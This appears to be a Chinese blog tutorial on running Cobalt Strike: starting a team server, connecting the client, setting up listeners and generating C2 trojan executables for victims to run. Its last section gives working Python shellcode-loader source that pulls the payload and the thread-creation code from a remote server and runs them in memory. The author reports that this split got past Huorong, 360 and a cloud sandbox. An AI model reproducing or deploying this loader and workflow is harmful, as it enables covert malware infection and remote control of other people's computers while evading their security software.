CS全称:Cobaltstrike 下面简称 : CS

是一款专用于 windows 系统的上线工具也可以在Linux中使用,不过效果相对windows差很多

CS的下载地址

我使用的CS是微信公众号下载的

image-20240415232321929

在他的文章中会给出下载地址这里我就直接转载了

https://www.123pan.com/s/x9v9-sTF43.html

下载完之后的目录大概是这样的

image-20240415232449996

CS采用的是C/S架构开发的工具。其特点就是需要服务端(server)和客户端(client)才可以运行

server端用法

server端一般是在服务器中运行,我们将CS的文件上传到服务器之后在服务器中是使用这个文件起server端的服务的

image-20240415232650851

下面我将演示在server端起CS服务的方法

使用vim工具编辑这个文件

vim teamserver

image-20240415232801033

快速来到文件的最底部

image-20240415232841512

将这个 server_port 端口号更改除默认端口外的为任意端口号(这里我改的是7754)

这个参数就是CS的服务端将会在这个端口进行监听,我们一会客户端(client)连接服务器的时候就是连接这个端口

接下来给这个文件赋予执行权限

chmod 777 teamserver

给了执行权限之后就可以起服务了

./teamserver ip passwd

其中passwd的位置填写你连接服务器的密码

IP填写你这台服务器的公网IP

一会连接server端就是填写这个IP

演示:

image-20240415233749210

输完之后的回显和我的一样就说明server端启动成功!

root@Hu4:~/cs_server# ./teamserver 3.3.3.3 123456
[*] Will use existing X509 certificate and keystore (for SSL)
[+] Team server is up on 0.0.0.0:7754
[*] SHA256 hash of SSL cert is: e9ef07c4a497236a5232adb509e99c7f04171318b5f6b70ebf9655724f0478c7
[+] Listener: 7031 started!

接下来就不用管了可以来到client端进行连接服务器了

client端连接

client端也就是我们的客户端,我们客户端启动CS是使用这个文件启动

image-20240415233956522

  • 注意!这个CS必须是使用Java8的环境才可以运行,如果不是请自行切换只Java8之后再启动!

初次打开客户端是这样的

image-20240415234134818

可以看见我们的CS是需要连接服务器才可以运行的

这里的别名可以随便填

端口填写你刚刚使用vim编辑的那个文件中的sever_port中的端口

用户随便填

密码是你刚刚启服务的时候设置的密码

填写完之后点击连接就可以正式的开始使用CS了,如果有出现连接不上的情况请自行去防火墙规则中查看是否放行对应端口

image-20240415234435556

到这里就可以正式的开始使用CS了

点击攻击

image-20240415234505315

通过这个方法可以直接生成一个C2木马,并且是exe文件

缺点:如果对方有开杀毒软件,他一下载下来就会直接被杀软杀掉

image-20240415234529323

初次点击这里要你配置一个监听器才可以正常使用

image-20240415234722810

点一下右边的3个点然后点击添加

image-20240415234758356

然后随便起一个名字,再点一下那个圈出来的加号,HTTP端口(上线)将80端口更改成其他端口。

image-20240415234831203

把上面的配置完之后点击保存就配置好了一个监听器,就是这样的

image-20240415234938969

选择他就可以了

然后点击生成就可以直接生成C2木马

image-20240415235018925

至此对方点击之后就会自动上线,剩下的功能就慢慢摸索把

关于C2马进阶

生成一个不会被杀软识别成功的木马,可以大大的提升上线的成功率

具体方法需要涉及到免杀马的编写

在CS中也有提供C2马的payload

image-20240415235218691

点击生成之后的是python文件的木马,而你要做的就是将他生成的这一串 shellcode 注入到内存中,并且不会被杀软检测到

具体相关文章推荐:

https://www.cnblogs.com/henry666/p/17428579.html

https://www.cnblogs.com/cHr1s/p/14958497.html

https://www.cnblogs.com/1can/p/15014505.html

本人参考的是第三章文章并采用了文件分离的方法成功绕过火绒、360、360云沙箱的查杀

具体源码如下

import ctypes
import requests
​
​
while True:
    txt0 = requests.get(url='http://x.x.x.x:8080/0.txt').text
    txt1 = requests.get(url='http://x.x.x.x:8080/1.txt').text.strip()
    txt2 = requests.get(url='http://x.x.x.x:8080/2.txt').text
    key = txt1
    if key == '1':
​
        # length: 894 bytes
        buf = eval(txt0)
        code = buf
        code = bytearray(code)
​
        # 设置VirtualAlloc返回类型为ctypes.c_uint64
        lalala = ctypes.windll.kernel32.VirtualAlloc
        lalala1 = ctypes.windll.kernel32.RtlMoveMemory
        lalala.restype = ctypes.c_uint64
​
        # 申请内存
        ptr = lalala(ctypes.c_int(0), ctypes.c_int(len(code)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
​
        # 放入shellcode
        buf = (ctypes.c_char * len(code)).from_buffer(code)
        ctypes.windll.kernel32.RtlMoveMemory(
            ctypes.c_uint64(ptr),
            buf,
            ctypes.c_int(len(code))
        )
​
        # 创建一个线程从shellcode放置位置首地址开始执行
        handle = eval(txt2)
​
        # 等待上面创建的线程运行完
        ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
    else:
        break
  1. 0.txt文件内的内容就是CS生成的payload,也就是shellcode

  2. 1.txt文件内的内容是key也就是密钥,当这个1.txt文件内的内容为 1 时才可以执行注入内存的操作,这样可以过云沙箱检测

  3. 2.txt文件内的内容是 创建一个线程从shellcode放置位置首地址开始执行 的代码

如下

# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)

因为这串代码创建线程写入python打包成exe会被杀软检测到,所以以文件分离的方法单独拿出来放入服务器中这样就可以避免被杀软检测到